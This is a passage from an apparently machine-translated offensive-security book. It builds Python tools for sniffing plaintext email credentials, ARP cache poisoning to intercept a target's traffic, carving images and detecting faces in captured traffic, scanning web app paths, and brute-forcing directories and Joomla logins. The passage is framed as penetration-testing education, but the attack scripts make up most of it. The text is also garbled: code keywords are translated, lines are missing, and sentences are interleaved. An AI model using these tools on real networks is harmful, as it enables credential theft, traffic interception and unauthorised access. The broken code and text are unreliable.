os pacotes. A função sniff apropriadamente nomeada se parece com o seguinte:
sniff(filter="",iface="qualquer",prn=função,contagem=N)
O parâmetro de filtro nos permite especificar um filtro BPF (estilo Wireshark) para os pacotes que o Scapy detecta, que
pode ser deixado em branco para detectar todos os pacotes. Por exemplo, para farejar todos os pacotes HTTP, você
usaria um filtro BPF da porta tcp 80. O parâmetro iface informa ao farejador qual interface de rede deve farejar; se
deixado em branco, o Scapy farejará todas as interfaces. O parâmetro prn especifica uma função de retorno de chamada
a ser chamada para cada pacote que corresponda ao filtro, e a função de retorno de chamada recebe o objeto de pacote
como seu único parâmetro. O parâmetro count especifica quantos pacotes você deseja farejar; se deixado em branco, o
Scapy farejará indefinidamente.
Vamos começar criando um farejador simples que fareja um pacote e despeja seu conteúdo. Em seguida, vamos expandi-
lo para detectar apenas comandos relacionados a e-mail. Abra mail_snif er.py e bloqueie o seguinte código:
de scapy.all importar *
Começamos definindo nossa função de retorno de chamada que receberá cada pacote sniffado ÿ e simplesmente
informamos ao Scapy para iniciar o sniffing ÿ em todas as interfaces sem filtragem. Agora vamos executar o script e você
deve ver uma saída semelhante à que você vê abaixo.
Quão incrivelmente fácil foi isso! Podemos ver que, quando o primeiro pacote foi recebido na rede, nossa função de retorno de chamada
usou a função interna packet.show() para exibir o conteúdo do pacote e dissecar algumas das informações do protocolo. Usar show () é
uma ótima maneira de depurar scripts à medida que você avança para garantir que está capturando a saída desejada.
Agora que temos nosso sniffer básico em execução, vamos aplicar um filtro e adicionar um pouco de lógica à nossa função de retorno
de chamada para remover as strings de autenticação relacionadas a e-mail.
de scapy.all importar *
ÿ se pacote[TCP].payload:
mail_packet = str(pacote[TCP].payload)
Coisas bastante simples aqui. Mudamos nossa função sniff para adicionar um filtro que inclui apenas o tráfego destinado às portas de e-
mail comuns 110 (POP3), 143 (IMAP) e SMTP (25) ÿ. Também usamos um novo parâmetro chamado store, que quando definido como 0
garante que o Scapy não está mantendo os pacotes na memória. É uma boa ideia usar esse parâmetro se você pretende deixar um sniffer
de longo prazo em execução, pois assim não consumirá grandes quantidades de RAM. Quando nossa função de retorno de chamada é
chamada, verificamos se ela possui uma carga de dados ÿ e se a carga contém os comandos de correio USER ou PASS típicos ÿ. Se
detectarmos uma string de autenticação, imprimimos o servidor para o qual estamos enviando e os bytes de dados reais do pacote ÿ.
Machine Translated by Google
Chutando os pneus
Aqui está um exemplo de saída de uma conta de e-mail fictícia à qual tentei conectar meu cliente de e-mail:
[*] Servidor: 25.57.168.12 [*] USER
jms [*] Servidor: 25.57.168.12 [*]
PASS justin [*] Servidor: 25.57.168.12
[*] USER jms [*] Servidor: 25.57.168.12
Você pode ver que meu cliente de e-mail está tentando fazer login no servidor em 25.57.168.12 e enviando as credenciais
de texto sem formatação pela rede. Este é um exemplo muito simples de como você pode pegar um script de detecção
Scapy e transformá-lo em uma ferramenta útil durante os testes de penetração.
Cheirar seu próprio tráfego pode ser divertido, mas é sempre melhor farejar com um amigo, então vamos dar uma olhada
em como você pode executar um ataque de envenenamento ARP para farejar o tráfego de uma máquina alvo na mesma
rede.
Machine Translated by Google
Envenenamento de cache ARP com Scapy O
envenenamento de ARP é um dos truques mais antigos e eficazes no kit de ferramentas de um hacker.
Simplesmente, convenceremos uma máquina-alvo de que nos tornamos seu gateway e também
convenceremos o gateway de que, para alcançar a máquina-alvo, todo o tráfego deve passar por nós. Cada
computador em uma rede mantém um cache ARP que armazena os endereços MAC mais recentes que
correspondem aos endereços IP na rede local, e vamos envenenar esse cache com entradas que controlamos
para realizar esse ataque. Como o Address Resolution Protocol e o envenenamento de ARP em geral são
abordados em vários outros materiais, deixarei que você faça qualquer pesquisa necessária para entender
como esse ataque funciona em um nível inferior.
Agora que sabemos o que precisamos fazer, vamos colocar em prática. Quando testei isso, ataquei uma máquina
Windows real e usei minha VM Kali como minha máquina de ataque. Também testei esse código em vários
dispositivos móveis conectados a um ponto de acesso sem fio e funcionou muito bem. A primeira coisa que faremos
é verificar o cache ARP na máquina Windows de destino para que possamos ver nosso ataque em ação mais
tarde. Examine o seguinte para ver como inspecionar o cache ARP em sua VM do Windows.
C:\Users\Clare> ipconfig
Configuração de IP do Windows
C:\Users\Clare> arp -a
Portanto, agora podemos ver que o endereço IP do gateway ÿ está em 172.16.1.254 e sua entrada de cache ARP
associada ÿ tem um endereço MAC de 3c-ea-4f-2b-41-f9. Tomaremos nota disso porque podemos visualizar o
cache ARP enquanto o ataque está em andamento e ver que alteramos o endereço MAC registrado do gateway.
Agora que conhecemos o gateway e nosso endereço IP de destino, vamos começar a codificar nosso script de
envenenamento ARP. Abra um novo arquivo Python, chame-o de arper.py e digite o seguinte código:
from scapy.all import * import os
import sys import threading import
signal
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254" packet_count
= 1000
ÿ gateway_mac = get_mac(gateway_ip)
ÿ target_mac = get_mac(target_ip)
try:
print "[*] Iniciando sniffer para %d pacotes" % packet_count
ÿ wrpcap('arper.pcap',pacotes)
# restaura a rede
ÿ restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
Esta é a parte principal da configuração do nosso ataque. Começamos resolvendo os endereços MAC
correspondentes do gateway ÿ e IP de destino ÿ usando uma função chamada get_mac que analisaremos em bre
Depois de termos feito isso, criamos um segundo thread para iniciar o ataque real de envenenamento
ARP ÿ. Em nossa thread principal, iniciamos um sniffer ÿ que irá capturar uma quantidade predefinida de
pacotes usando um filtro BPF para capturar apenas o tráfego para nosso endereço IP de destino. Quando
todos os pacotes forem capturados, nós os gravamos ÿ em um arquivo PCAP para que possamos abri-los no
Wireshark ou usar nosso próximo script de escultura de imagem contra eles. Terminado o ataque, chamamos
nossa função restore_target ÿ, que é responsável por colocar a rede de volta ao que era antes do
envenenamento ARP. Vamos adicionar as funções de suporte agora digitando o seguinte código acima do
nosso bloco de código anterior:
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
def get_mac(ip_address):
ÿ respostas,sem resposta =
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,nova tentativa=10)
retornar nenhum
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
send(poison_target)
send(poison_gateway)
tempo.sono(2)
exceto KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
Portanto, esta é a carne e as batatas do ataque real. Nossa função restore_target simplesmente envia os pacotes ARP apropriados para o
endereço de transmissão da rede ÿ para redefinir os caches ARP do gateway e das máquinas de destino. Também enviamos um sinal para
o thread principal ÿ sair, o que será útil caso nosso thread de envenenamento tenha um problema ou você pressione CTRL-C no teclado.
Nossa função get_mac é responsável por usar a função srp (enviar e receber pacotes) ÿ para emitir uma solicitação ARP para o endereço IP
especificado para resolver o endereço MAC associado a ela. Nossa função poison_target cria solicitações ARP para envenenar o IP de destino
ÿ e o gateway ÿ. Ao envenenar o gateway e o endereço IP de destino, podemos ver o tráfego entrando e saindo do destino. Continuamos
emitindo essas solicitações ARP ÿ em um loop para garantir que as respectivas entradas de cache ARP permaneçam envenenadas durante
nosso ataque.
Agora que temos o encaminhamento de IP instalado, vamos iniciar nosso script e verificar o cache ARP de
nossa máquina de destino. Na máquina de ataque, execute o seguinte (como root):
fanboy:tmp justin$ sudo python2.7 arper.py AVISO: Nenhuma
rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
[*] Configurando en1 [*]
Gateway 172.16.1.254 está em 3c:ea:4f:2b:41:f9 [*] Alvo 172.16.1.71
está em 00:22:5f:ec:38:3d [*] Início o veneno ARP. [CTRL-C para parar]
Incrível! Sem erros ou outras estranhezas. Agora vamos validar o ataque em nossa máquina alvo:
C:\Users\Clare> arp -a
Agora você pode ver que a pobre Clare (é difícil ser casada com um hacker, hackear não é fácil, etc.) agora tem seu
cache ARP envenenado, onde o gateway agora tem o mesmo endereço MAC do computador atacante. Você pode
ver claramente na entrada acima do gateway que estou atacando de 172.16.1.64.
Quando o ataque terminar de capturar os pacotes, você deverá ver um arquivo arper.pcap no mesmo diretório do
seu script. É claro que você pode fazer coisas como forçar o computador de destino a fazer proxy de todo o seu
tráfego por meio de uma instância local do Burp ou fazer várias outras coisas desagradáveis. Você pode querer
manter esse PCAP para a próxima seção sobre processamento de PCAP - você nunca sabe o que pode encontrar!
Machine Translated by Google
Processamento de PCAP O
Wireshark e outras ferramentas como o Network Miner são ótimos para explorar arquivos de captura de pacotes
de forma interativa, mas haverá momentos em que você deseja dividir e dividir PCAPs usando Python e Scapy.
Alguns grandes casos de uso estão gerando casos de teste fuzzing com base no tráfego de rede capturado ou até
mesmo algo tão simples quanto repetir o tráfego que você capturou anteriormente.
Vamos dar uma olhada um pouco diferente nisso e tentar extrair arquivos de imagem do tráfego HTTP. Com esses
arquivos de imagem em mãos, usaremos o OpenCV, [9] uma ferramenta detectar
de visãoimagens
computacional,
que contenham
para tentar
rostos
humanos para que possamos restringir imagens que possam ser interessantes.
Podemos usar nosso script de envenenamento ARP anterior para gerar os arquivos PCAP ou você pode estender
o sniffer de envenenamento ARP para fazer detecção facial instantânea de imagens enquanto o alvo está
navegando. Vamos começar inserindo o código necessário para executar a análise PCAP. Abra pic_carver.py e
digite o seguinte código:
importar re
importar zlib
importar cv2
de scapy.all importar *
def http_assembler(pcap_file):
imagens_esculpidas =
0 faces_detectadas = 0
ÿ a = rdpcap(pcap_file)
ÿ sessões = a.sessions()
""
http_payload =
tente:
se packet[TCP].dport == 80 ou packet[TCP].sport == 80:
ÿ # remontar o stream
http_payload += str(pacote[TCP].payload)
exceto:
passar
ÿ cabeçalhos = get_http_headers(http_payload)
# armazena a imagem
ÿ file_name = "%s-pic_carver_%d.%s" %
(pcap_file,carved_images,image_type)
fd = open("%s/%s" %
(pictures_directory,file_name),"wb")
Machine Translated by Google
fd.write(image) fd.close()
imagens_esculpidas += 1
ÿ resultado = face_detect("%s/%s" %
(pictures_directory,file_name),file_name)
Esta é a lógica do esqueleto principal de todo o nosso script e adicionaremos as funções de suporte em
breve. Para começar, abrimos o arquivo PCAP para processamento ÿ. Aproveitamos um belo recurso do Scapy
para separar automaticamente cada sessão TCP ÿ em um dicionário. Usamos isso e filtramos apenas o tráfego
HTTP e, em seguida, concatenamos a carga útil de todo o tráfego HTTP ÿ em um único buffer. Isso é efetivamente
o mesmo que clicar com o botão direito do mouse no Wireshark e selecionar Follow TCP Stream. Depois de
remontarmos os dados HTTP, passamos para nossa função de análise de cabeçalho HTTP ÿ, que nos permitirá
inspecionar os cabeçalhos HTTP individualmente. Depois de validarmos que estamos recebendo uma imagem de
volta em uma resposta HTTP, extraímos a imagem bruta ÿ e retornamos o tipo de imagem e o corpo binário da
própria imagem. Esta não é uma rotina de extração de imagens à prova de balas, mas, como você verá, funciona
incrivelmente bem. Armazenamos a imagem extraída ÿ e passamos o caminho do arquivo para nossa rotina de
detecção facial ÿ.
Agora vamos criar as funções de suporte adicionando o seguinte código acima de nossa função http_assembler .
def get_http_headers(http_payload):
tente:
# dividir os cabeçalhos se for tráfego HTTP headers_raw =
http_payload[:http_payload.index("\r\n\r\n")+2]
exceto:
retornar Nenhum
cabeçalhos de retorno
def extract_image(cabeçalhos,http_payload):
imagem = Nenhum
image_type = Nenhum
tente:
se "imagem" nos cabeçalhos ['Tipo de conteúdo']:
Machine Translated by Google
# pegue o tipo de imagem e o corpo da imagem
image_type = headers['Content-Type'].split("/")[1]
imagem = http_payload[http_payload.index("\r\n\r\n")+4:]
exceto:
passar
exceto:
retornar nenhum, nenhum
Essas funções de suporte nos ajudam a examinar mais de perto os dados HTTP que recuperamos de nosso
arquivo PCAP. A função get_http_headers pega o tráfego HTTP bruto e divide os cabeçalhos usando uma
expressão regular. A função extract_image pega os cabeçalhos HTTP e determina se recebemos uma imagem
na resposta HTTP. Se detectarmos que o cabeçalho Content-Type realmente contém o tipo MIME da imagem,
dividimos o tipo de imagem; e se houver compactação aplicada à imagem em trânsito, tentamos descompactá-la
antes de retornar o tipo de imagem e o buffer de imagem bruta. Agora vamos inserir nosso código de detecção
facial para determinar se há um rosto humano em alguma das imagens que recuperamos. Adicione o seguinte
código a pic_carver.py:
def face_detect(caminho, nome_do_arquivo):
ÿ cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)
retornar Verdadeiro
Este código foi generosamente compartilhado por Chris Fidao em http:// www.fideloper.com/ facial-detection/ com
pequenas modificações feitas por vocês. Usando as ligações OpenCV Python, podemos ler na imagem ÿ e, em
seguida, aplicar um classificador ÿ que é treinado com antecedência para detectar faces em uma orientação
frontal. Existem classificadores para detecção de perfil (lateral), rosto, mãos, frutas e uma série de outros objetos
que você pode experimentar por si mesmo. Depois que a detecção for executada, ela retornará as coordenadas
do retângulo que correspondem a onde o rosto foi detectado na imagem. Em seguida, desenhamos um retângulo
verde real sobre essa área ÿ e escrevemos a imagem resultante ÿ. Agora vamos dar uma olhada em tudo isso
dentro de sua VM Kali.
Machine Translated by Google
Chutando os pneus
Se você não instalou primeiro as bibliotecas OpenCV, execute os seguintes comandos (novamente, obrigado,
Chris Fidao) de um terminal em sua VM Kali:
#:> apt-get install python-opencv python-numpy python-scipy
Isso deve instalar todos os arquivos necessários para lidar com a detecção facial em nossas imagens resultantes.
Também precisamos pegar o arquivo de treinamento de detecção facial da seguinte forma:
wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml
Agora crie alguns diretórios para nossa saída, insira um PCAP e execute o script. Isso deve se parecer com isto:
Você pode ver uma série de mensagens de erro sendo produzidas pelo OpenCV devido ao fato de que algumas das
imagens que alimentamos podem estar corrompidas ou parcialmente baixadas ou seu formato pode não ser suportado.
(Vou deixar a construção de uma rotina robusta de extração e validação de imagem como uma tarefa de casa para
você.) Se você abrir seu diretório de rostos, deverá ver vários arquivos com rostos e caixas verdes mágicas
desenhadas em torno deles.
Essa técnica pode ser usada para determinar quais tipos de conteúdo seu alvo está visualizando, bem como para
descobrir abordagens prováveis por meio de engenharia social. É claro que você pode estender este exemplo além
de usá-lo em imagens esculpidas de PCAPs e usá-lo em conjunto com técnicas de rastreamento e análise da Web
descritas nos capítulos posteriores.
ferramentas de rede com a biblioteca de soquetes, ao criar ferramentas para interagir com serviços da Web, você usará
a biblioteca urllib2 . Vamos dar uma olhada em como fazer uma solicitação GET muito simples para o site da No Starch
Press:
importar urllib2
ÿ body = urllib2.urlopen("http://www.nostarch.com")
ÿ imprimir corpo.read()
Este é o exemplo mais simples de como fazer uma solicitação GET para um site. Esteja ciente de que estamos apenas
buscando a página bruta do site No Starch e que nenhum JavaScript ou outras linguagens do lado do cliente serão
executados. Simplesmente passamos uma URL para a função urlopen ÿ e ela retorna um objeto semelhante a um
arquivo que nos permite ler de volta ÿ o corpo do que o servidor web remoto retorna. Na maioria dos casos, no entanto,
você desejará um controle mais refinado sobre como fazer essas solicitações, incluindo a capacidade de definir
cabeçalhos específicos, manipular cookies e criar solicitações POST. urllib2 expõe uma classe Request que oferece
esse nível de controle. Abaixo está um exemplo de como criar a mesma solicitação GET usando a classe Request e
definindo um cabeçalho HTTP User-Agent personalizado:
importar urllib2
url = "http://www.nostarch.com"
ÿ headers = {}
headers['User-Agent'] = "Googlebot"
print response.read()
response.close()
A construção de um objeto Request é um pouco diferente do nosso exemplo anterior. Para criar cabeçalhos
personalizados, você define um dicionário de cabeçalhos ÿ, que permite definir a chave e o valor do cabeçalho que
deseja usar. Nesse caso, faremos nosso script Python parecer o Googlebot. Em seguida, criamos nosso objeto Request
e passamos o url e o dicionário de cabeçalhos ÿ e, em seguida, passamos o objeto Request para a chamada de função
urlopen ÿ. Isso retorna um objeto normal semelhante a um arquivo que podemos usar para ler os dados do site remoto.
Agora temos os meios fundamentais para falar com serviços da web e sites, então vamos criar algumas ferramentas
úteis para qualquer ataque de aplicativo da web ou teste de penetração.
Machine Translated by Google
Mapeamento de instalações de aplicativos Web de código aberto Sistemas
de gerenciamento de conteúdo e plataformas de blog como Joomla, WordPress e Drupal simplificam o início de
um novo blog ou site e são relativamente comuns em um ambiente de hospedagem compartilhada ou até mesmo
em uma rede corporativa. Todos os sistemas têm seus próprios desafios em termos de instalação, configuração e
gerenciamento de patches, e esses conjuntos de CMS não são exceção. Quando um administrador de sistema
sobrecarregado ou um desenvolvedor web infeliz não segue todos os procedimentos de segurança e instalação,
pode ser uma escolha fácil para um invasor obter acesso ao servidor web.
Como podemos baixar qualquer aplicativo da Web de código aberto e determinar localmente sua estrutura
de arquivos e diretórios, podemos criar um scanner específico que pode procurar todos os arquivos acessíveis
no destino remoto. Isso pode erradicar arquivos de instalação restantes, diretórios que devem ser protegidos por
arquivos .htaccess e outros recursos que podem ajudar um invasor a obter acesso ao servidor da web. Este
projeto também apresenta o uso de objetos Python Queue , que nos permitem construir uma grande pilha de
itens thread-safe e fazer com que vários threads escolham itens para processamento. Isso permitirá que nosso
scanner seja executado muito rapidamente. Vamos abrir web_app_mapper.py e inserir o seguinte código:
import Queue
import threading import
os import urllib2
fios = 10
ÿ diretório de = "http://www.blackhatpython.com"
destino = "/Users/justin/Downloads/joomla-3.1.1" filtros =
[".jpg",".gif","png",".css"]
os.chdir(diretório)
ÿ web_paths = Queue.Queue()
def teste_remoto():
ÿ enquanto não web_paths.empty(): path =
web_paths.get() url = "%s%s" %
(target, path)
solicitação = urllib2.Request(url)
experimentar:
Observando a parte inferior do script ÿ, estamos criando vários encadeamentos (conforme definido na parte
superior do arquivo) que serão chamados de função test_remote . A função test_remote opera em um loop que
continuará executando até que a Fila web_paths esteja vazia. Em cada iteração do loop, pegamos um caminho da
Fila ÿ, adicionamos ao caminho base do site de destino e tentamos recuperá-lo.
Se obtivermos sucesso na recuperação do arquivo, mostraremos o código de status HTTP e o caminho completo
para o arquivo ÿ. Se o arquivo não for encontrado ou estiver protegido por um arquivo .htaccess , isso fará com que
urllib2 lance um erro, que tratamos ÿ para que o loop continue executando.
Machine Translated by Google
Chutando os pneus Para
fins de teste, instalei o Joomla 3.1.1 em minha VM Kali, mas você pode usar qualquer aplicativo da Web de código
aberto que possa implantar rapidamente ou que já esteja em execução. Ao executar web_app_mapper.py, você
deve ver uma saída como a seguinte:
Tópico de origem: 0
Tópico de origem: 1
Tópico de origem: 2
Tópico de origem: 3
Tópico de origem: 4
Tópico de origem: 5
Tópico de origem: 6
Tópico de origem: 7
Tópico de origem: 8
Tópico de origem: 9
[200] => /htaccess.txt [ 200]
=> /web.config.txt [200] => /
LICENSE.txt [200] => /
README.txt [200] => /
administrator/cache/index.html [200] => /
administrator/components /index.html [200] => /
administrator/components/com_admin/controller.php [200] => /administrator/
components/com_admin/script.php [200] => /administrator/components/
com_admin/admin.xml [ 200] => /administrator/components/com_admin/
admin.php [200] => /administrator/components/com_admin/helpers/index.html
[200] => /administrator/components/com_admin/controllers/index.html [200 ] => /
administrator/components/com_admin/index.html [200] => /administrator/components/
com_admin/helpers/html/index.html [200] => /administrator/components/com_admin/
models/index.html [ 200] => /administrator/components/com_admin/models/profile.php
[200] => /administrato r/components/com_admin/controllers/profile.php
Você pode ver que estamos pegando alguns resultados válidos, incluindo alguns arquivos .txt e arquivos XML.
Obviamente, você pode criar inteligência adicional no script para retornar apenas os arquivos nos quais está
interessado — como aqueles com a palavra install neles.
Machine Translated by Google
Diretórios de força bruta e localizações de arquivos O exemplo anterior
assumiu muito conhecimento sobre seu destino. Mas, em muitos casos em que você está atacando um
aplicativo da Web personalizado ou um grande sistema de comércio eletrônico, não estará ciente de todos os
arquivos acessíveis no servidor da Web. Geralmente, você implantará um spider, como o incluído no Burp
Suite, para rastrear o site de destino a fim de descobrir o máximo possível do aplicativo da web. No entanto,
em muitos casos, há arquivos de configuração, sobras de arquivos de desenvolvimento, scripts de depuração
e outras migalhas de segurança que podem fornecer informações confidenciais ou expor funcionalidades que
o desenvolvedor de software não pretendia. A única maneira de descobrir esse conteúdo é usar uma ferramenta
de força bruta para caçar nomes de arquivos e diretórios comuns.
Construiremos uma ferramenta simples que aceitará listas de palavras de forças brutas comuns, como o projeto
DirBuster [10]
Como
ou SVNDigger,
antes, criaremos
[11] e um
tentará
pooldescobrir
de threads
diretórios
para tentar
e arquivos
descobrir
acessíveis
o conteúdo
no servidor
de formaweb
agressiva.
de destino.
Vamos começar criando algumas funcionalidades para criar uma Fila a partir de um arquivo de lista de palavras.
Abra um novo arquivo, nomeie-o como content_bruter.py e digite o seguinte código:
tópicos = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # do SVNDigger
retomar = Nenhum
def build_wordlist(wordlist_file):
# lê a lista de palavras ÿ fd =
open(wordlist_file,"rb")
raw_words = fd.readlines() fd.close()
found_resume = Palavras
falsas = Queue.Queue()
palavra = palavra.rstrip()
if found_resume:
words.put(word)
outro:
se palavra == resumir:
palavras de retorno
Essa função auxiliar é bastante direta. Lemos em um arquivo de lista de palavras ÿ e então começamos a iterar
sobre cada linha do arquivo ÿ. Temos algumas funcionalidades integradas que nos permitem retomar uma
sessão de força bruta se nossa conectividade de rede for interrompida ou se o site de destino cair. Isso pode
ser obtido simplesmente definindo a variável resume para o último caminho que o força bruta tentou. Quando o
Machine
arquivo Translated
inteiro by Google
foi analisado, retornamos uma Fila cheia de palavras para usar em nossa função de força bruta real.
Reutilizaremos essa função mais adiante neste capítulo.
Queremos que alguma funcionalidade básica esteja disponível para nosso script de força bruta. A primeira é a capacidade
de aplicar uma lista de extensões para testar ao fazer solicitações. Em alguns casos, você deseja tentar não apenas o /
admin diretamente, por exemplo, mas admin.php, admin.inc e admin.html.
def dir_bruter(word_queue,extensions=None):
lista_tentativa = []
try_list.append("/%s" % tentativa)
tente:
cabeçalhos = {}
ÿ headers["User-Agent"] = user_agent r =
urllib2.Request(url,headers=headers)
resposta = urllib2.urlopen(r)
ÿ if len(resposta.ler()):
print "[%d] => %s" % (response.code,url)
exceto urllib2.URLError,e:
passar
Nossa função dir_bruter aceita um objeto Queue que é preenchido com palavras a serem usadas para força bruta e
uma lista opcional de extensões de arquivo para teste. Começamos testando para ver se há uma extensão de
arquivo na palavra atual ÿ e, se não houver, tratamos como um diretório que queremos testar no servidor web remoto. Se
houver uma lista de extensões de arquivo passadas em ÿ, pegamos a palavra atual e aplicamos cada extensão de arquivo
que desejamos testar. Pode ser útil aqui pensar em usar extensões como .orig e .bak sobre as extensões de linguagem
de programação regular. Depois de construirmos uma lista de tentativas de força bruta, definimos o cabeçalho User-Agent
para algo inócuo ÿ e testamos o servidor web remoto. Se o código de resposta for 200, geramos a URLÿ e, se recebermos
algo diferente de 404, também geramos ÿ porque isso pode indicar algo interessante na Web remota
É útil prestar atenção e reagir à sua saída porque, dependendo da configuração do servidor web remoto, você pode ter
que filtrar mais códigos de erro HTTP para limpar seu
Machine Translated
resultados. by Googleo script configurando nossa lista de palavras, criando uma lista de extensões e ativando
Vamos terminar
os encadeamentos de força bruta.
word_queue = build_wordlist(wordlist_file) extensions =
[".php",".bak",".orig",".inc"]
O trecho de código acima é bastante direto e deve parecer familiar agora. Obtemos nossa lista de palavras para
força bruta, criamos uma lista simples de extensões de arquivo para testar e, em seguida, giramos um monte de
threads para fazer a força bruta.
Machine Translated by Google
Chutando os pneus OWASP
tem uma lista de aplicativos da web vulneráveis online e offline (máquinas virtuais, ISOs, etc.) com os quais
você pode testar suas ferramentas. Nesse caso, o URL referenciado no código-fonte aponta para um aplicativo da
Web com erros intencionalmente hospedado pela Acunetix. O legal é que ele mostra como a força bruta de um
aplicativo da web pode ser eficaz. Eu recomendo que você defina a variável thread_count para algo sensato, como
5 , e execute o script. Em pouco tempo, você deve começar a ver resultados como os abaixo:
Você pode ver que estamos obtendo alguns resultados interessantes do site remoto. Não posso enfatizar o
suficiente a importância de executar força bruta de conteúdo contra todos os seus destinos de aplicativos da web.
Machine Translated by Google
Autenticação de formulário HTML de força bruta Pode chegar um
momento em sua carreira de hacker da web em que você precisa obter acesso a um alvo ou, se estiver
consultando, pode precisar avaliar a força da senha em um sistema da web existente. Tornou-se cada vez
mais comum que os sistemas da Web tenham proteção contra força bruta, seja um captcha, uma equação
matemática simples ou um token de login que deve ser enviado com a solicitação. Há um número de força
bruta que pode fazer a força bruta de uma solicitação POST para o script de login, mas em muitos casos eles
não são flexíveis o suficiente para lidar com conteúdo dinâmico ou lidar com verificações simples de “você é
humano”. Criaremos um força bruta simples que será útil contra o Joomla, um popular sistema de gerenciamento
de conteúdo. Os sistemas Joomla modernos incluem algumas técnicas básicas anti-força bruta, mas ainda
carecem de bloqueios de conta ou captchas fortes por padrão.
Para aplicar força bruta ao Joomla, temos dois requisitos que precisam ser atendidos: recuperar o token de login
do formulário de login antes de enviar a tentativa de senha e garantir que aceitamos cookies em nossa sessão
urllib2 . Para analisar os valores do formulário de login, usaremos a classe nativa do Python HTMLParser. Este
também será um bom passeio rápido por alguns recursos adicionais do urllib2 que você pode empregar ao criar
ferramentas para seus próprios destinos. Vamos começar dando uma olhada no formulário de login do
administrador do Joomla. Isso pode ser encontrado navegando até http:// <yourtarget>.com/ administrator/. Por
uma questão de brevidade, incluí apenas os elementos de formulário relevantes.
</form>
Lendo este formulário, temos acesso a algumas informações valiosas que precisaremos incorporar em nossa
força bruta. A primeira é que o formulário é enviado para o caminho /administrator/index.php como um HTTP
POST. A seguir estão todos os campos obrigatórios para que o envio do formulário seja bem-sucedido. Em
particular, se você observar o último campo oculto, verá que seu atributo de nome está definido como uma string
longa e aleatória. Esta é a peça essencial da técnica anti-força bruta do Joomla. Essa sequência aleatória é
verificada em sua sessão de usuário atual, armazenada em um cookie e, mesmo que você esteja passando as
credenciais corretas para o script de processamento de login, se o token aleatório não estiver presente, a
autenticação falhará. Isso significa que temos que usar o seguinte fluxo de solicitação em nosso força bruta para
obter sucesso no Joomla: 1. Recupere a página de login e aceite todos os cookies que são retornados.
Você pode ver que vamos utilizar algumas técnicas novas e valiosas neste script. Também mencionarei que você
nunca deve “treinar” seu ferramental em um alvo real; sempre configure uma instalação de seu aplicativo da web de
destino com credenciais conhecidas e verifique se você obtém os resultados desejados.
Vamos abrir um novo arquivo Python chamado joomla_killer.py e inserir o seguinte código:
import urllib2 import
urllib import cookielib
import threading import
sys import queue
# configurações gerais
user_thread = 10 = "admin"
nome do usuário
wordlist_file = "/tmp/cain.txt"
retomar = Nenhum
Essas configurações gerais merecem um pouco de explicação. A variável target_url ÿ é onde nosso script primeiro
baixará e analisará o HTML. A variável target_post é onde enviaremos nossa tentativa de força bruta. Com base em
nossa breve análise do HTML no login do Joomla, podemos definir as variáveis username_field e password_field ÿ para
o nome apropriado dos elementos HTML.
Nossa variável success_check ÿ é uma string que verificaremos após cada tentativa de força bruta para determinar
se obtivemos sucesso ou não. Vamos agora criar o encanamento para nossa força bruta; parte do código a seguir
será familiar, portanto, destacarei apenas as técnicas mais recentes.
classe Bruter(objeto):
def __init__(auto, nome de usuário, palavras):
def run_bruteforce(self):
para i in range(user_thread): t =
threading.Thread(target=self.web_bruter) t.start()
def web_bruter(self):
página = resposta.read()
post_tags = parser.tag_results
login_result = login_response.read()
Esta é a nossa classe primária de força bruta, que tratará de todas as solicitações HTTP e gerenciará os
cookies para nós. Depois de obtermos nossa tentativa de senha, configuramos nosso pote de cookies ÿ
usando a classe FileCookieJar que armazenará os cookies no arquivo de cookies . Em seguida, inicializamos
nosso abridor urllib2 , passando o cookie jar inicializado, que diz a urllib2 para passar quaisquer cookies para
ele. Em seguida, fazemos a solicitação inicial para recuperar o formulário de login. Quando temos o HTML bruto,
passamos para nosso HTMLparser e chamamos seu método feed ÿ, que retorna um dicionário de todos os
elementos de formulário recuperados. Depois de analisarmos o HTML com sucesso, substituímos os campos de
nome de usuário e senha por nossa tentativa de força bruta ÿ. Em seguida, codificamos em URL as variáveis POST
ÿ e as passamos em nossa solicitação HTTP subsequente. Após recuperarmos o resultado de nossa tentativa de
autenticação, testamos se a autenticação foi bem-sucedida ou não ÿ. Agora vamos implementar o núcleo do nosso
processamento HTML. Adicione a seguinte classe ao seu script joomla_killer.py :
classe BruteParser(HTMLParser): def
__init__(self): HTMLParser.__init__(self)
self.tag_results = {}
ÿ
ÿ tag_name = valor if
nome == "valor":
ÿ tag_value = valor
Isso forma a classe HTMLparsing específica que queremos usar em nosso destino. Depois de ter os fundamentos
do uso da classe HTMLParser , você pode adaptá-la para extrair informações de qualquer aplicativo da Web que
possa estar atacando. A primeira coisa que fazemos é criar um dicionário no qual nossos
osMachine Translated
resultados by Google
serão armazenados ÿ. Quando chamamos a função feed , ela passa todo o documento HTML e nossa função
handle_starttag é chamada sempre que uma tag é encontrada. Em particular, estamos procurando tags HTMLinput ÿ e nosso
processamento principal ocorre quando determinamos que encontramos uma.
Começamos a iterar sobre os atributos da tag e, se encontrarmos o nome ÿ ou valor ÿ atributos, os associamos no dicionário
tag_results ÿ. Após o HTML ter sido processado, nossa classe de força bruta pode substituir os campos de nome de usuário
e senha, deixando o restante dos campos intactos.
